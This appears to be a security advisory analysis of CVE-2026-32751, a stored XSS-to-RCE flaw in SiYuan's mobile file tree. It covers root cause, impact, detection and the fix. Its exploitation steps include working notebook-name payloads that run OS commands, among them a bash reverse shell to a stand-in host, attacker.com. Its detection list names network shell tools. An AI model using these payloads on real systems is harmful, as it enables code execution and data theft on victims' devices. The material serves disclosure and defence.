CVE-2026-32751: 
NixOS vulnerability analysis and mitigation

CVE-2026-32751 is a stored Cross-Site Scripting (XSS) vulnerability in SiYuan, a personal knowledge management system, that escalates to full Remote Code Execution (RCE) via Electron's insecure renderer configuration. The vulnerability affects SiYuan versions 3.6.0 and below (specifically confirmed on v3.5.9), and was fixed in version 3.6.1. It was disclosed on March 14, 2026, and published to the GitHub Advisory Database on March 16, 2026. The CVSS v3.1 base score is 9.0 (Critical) (GitHub Advisory, SiYuan Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically an inconsistency between the mobile and desktop file tree implementations. In app/src/mobile/dock/MobileFiles.ts (line 77), notebook names received via renamenotebook WebSocket events are assigned directly to innerHTML without HTML escaping, while the desktop counterpart app/src/layout/dock/Files.ts (line 104) correctly applies escapeHtml(). The backend handler kernel/api/notebook.go (lines 104–116) performs no HTML sanitization — it only validates name length (≤512 chars) and non-emptiness — and broadcasts the raw name to all connected clients. Critically, Electron is configured with nodeIntegration: true and contextIsolation: false in app/electron/main.js (lines 422–426), meaning any JavaScript injected via innerHTML gains full Node.js access to APIs such as require('child_process'), require('fs'), and require('net'). The mobile layout is also rendered in the Electron desktop app when the window is narrow, extending the attack surface beyond mobile-only clients (SiYuan Advisory, Patch Commit).

Successful exploitation allows an authenticated attacker to achieve arbitrary OS command execution on any victim client that views the file tree in mobile or narrow-window desktop mode. Because the malicious notebook name is persisted in .siyuan/conf.json, the payload re-executes every time the file tree renders — surviving application restarts. If cloud sync (SiYuan Cloud Sync or S3) is enabled, the payload automatically propagates to all synced devices, dramatically expanding the blast radius. Attackers can steal files, credentials, and SSH keys; install backdoors; or open reverse shells with the privileges of the SiYuan process (SiYuan Advisory).

A detailed proof-of-concept with step-by-step HTTP payloads, API endpoints, and notebook renaming sequences was published in the security advisory and confirmed on SiYuan v3.5.9 (Docker) by researcher 0xkakash1. The exploit requires low privileges (any authenticated user with notebook renaming rights) and passive user interaction (a victim must view the file tree). No evidence of in-the-wild exploitation has been reported as of the advisory date. The EPSS score is approximately 0.197% (low near-term exploitation probability). The vulnerability is not listed in the CISA KEV catalog (SiYuan Advisory, GitHub Advisory).

1. Authenticate: Obtain valid SiYuan credentials for any account with notebook renaming permissions (e.g., editor role) in a multi-user deployment.
2. Identify target notebook ID: Browse the SiYuan API or UI to retrieve the notebook ID (e.g., 20260309161535-do8qg95) of a notebook visible to target users.
3. Craft RCE payload: Construct a malicious notebook name embedding an HTML tag with an onerror handler that invokes Node.js APIs. Example for Windows:

{
  "notebook": "20260309161535-do8qg95",
  "name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
}

For Linux/macOS reverse shell:

{
  "name": "<img src=x onerror=\"require('child_process').exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1')\">"
}

4. Send rename request: POST the payload to the authenticated endpoint:

POST /api/notebook/renameNotebook HTTP/1.1
Content-Type: application/json
Cookie: siyuan=<session_token>

5. Payload broadcast: The backend broadcasts the unescaped name via a renamenotebook WebSocket event to all connected clients.
6. Victim triggers execution: Any mobile client or desktop client in narrow/mobile layout that receives the WebSocket event renders the payload via innerHTML, triggering the onerror handler with full Node.js access.
7. Achieve persistence: The malicious name is stored in .siyuan/conf.json and re-executes on every file tree render, including after restarts. If sync is enabled, the payload propagates to all synced devices automatically (SiYuan Advisory).

• Network: Unexpected outbound connections from the SiYuan process to external IPs/domains (e.g., attacker-controlled C2 or attacker.com:4444); WebSocket traffic containing renamenotebook events with HTML tags (<img, <script, onerror=) in the name field.
• File System: Presence of unexpected files such as /tmp/pwned or other attacker-created artifacts; new or modified files in the SiYuan workspace directory; .siyuan/conf.json containing notebook names with embedded HTML or JavaScript.
• Logs: SiYuan API access logs showing POST /api/notebook/renameNotebook requests with unusually long or HTML-containing name values; WebSocket event logs with cmd: renamenotebook and HTML payloads in data.name.
• Process: Unexpected child processes spawned by the SiYuan/Electron process (e.g., bash, sh, cmd.exe, calc.exe, curl, wget, python, nc); unusual network connections initiated by Electron renderer processes (SiYuan Advisory).

Upgrade SiYuan to version 3.6.1 or later, which applies escapeHtml() to notebook names in MobileFiles.ts before assigning to innerHTML, mirroring the fix already present in the desktop implementation (SiYuan v3.6.1 Release, Patch Commit). As a short-term workaround, restrict notebook renaming permissions to trusted users only and avoid exposing SiYuan to untrusted network users. For long-term hardening, the advisory recommends updating Electron's webPreferences to nodeIntegration: false, contextIsolation: true, and sandbox: true to prevent XSS from escalating to RCE (SiYuan Advisory).

The vulnerability was reported by security researcher 0xkakash1 and published as a critical advisory by the SiYuan maintainer (88250) on March 14, 2026. The fix was committed and released in v3.6.1 on March 17, 2026. The advisory was subsequently indexed by openSUSE security announcements and Linux security advisories, indicating broad distribution awareness. No significant public social media debate or major media coverage has been identified beyond the standard advisory channels (SiYuan Advisory, SiYuan v3.6.1 Release).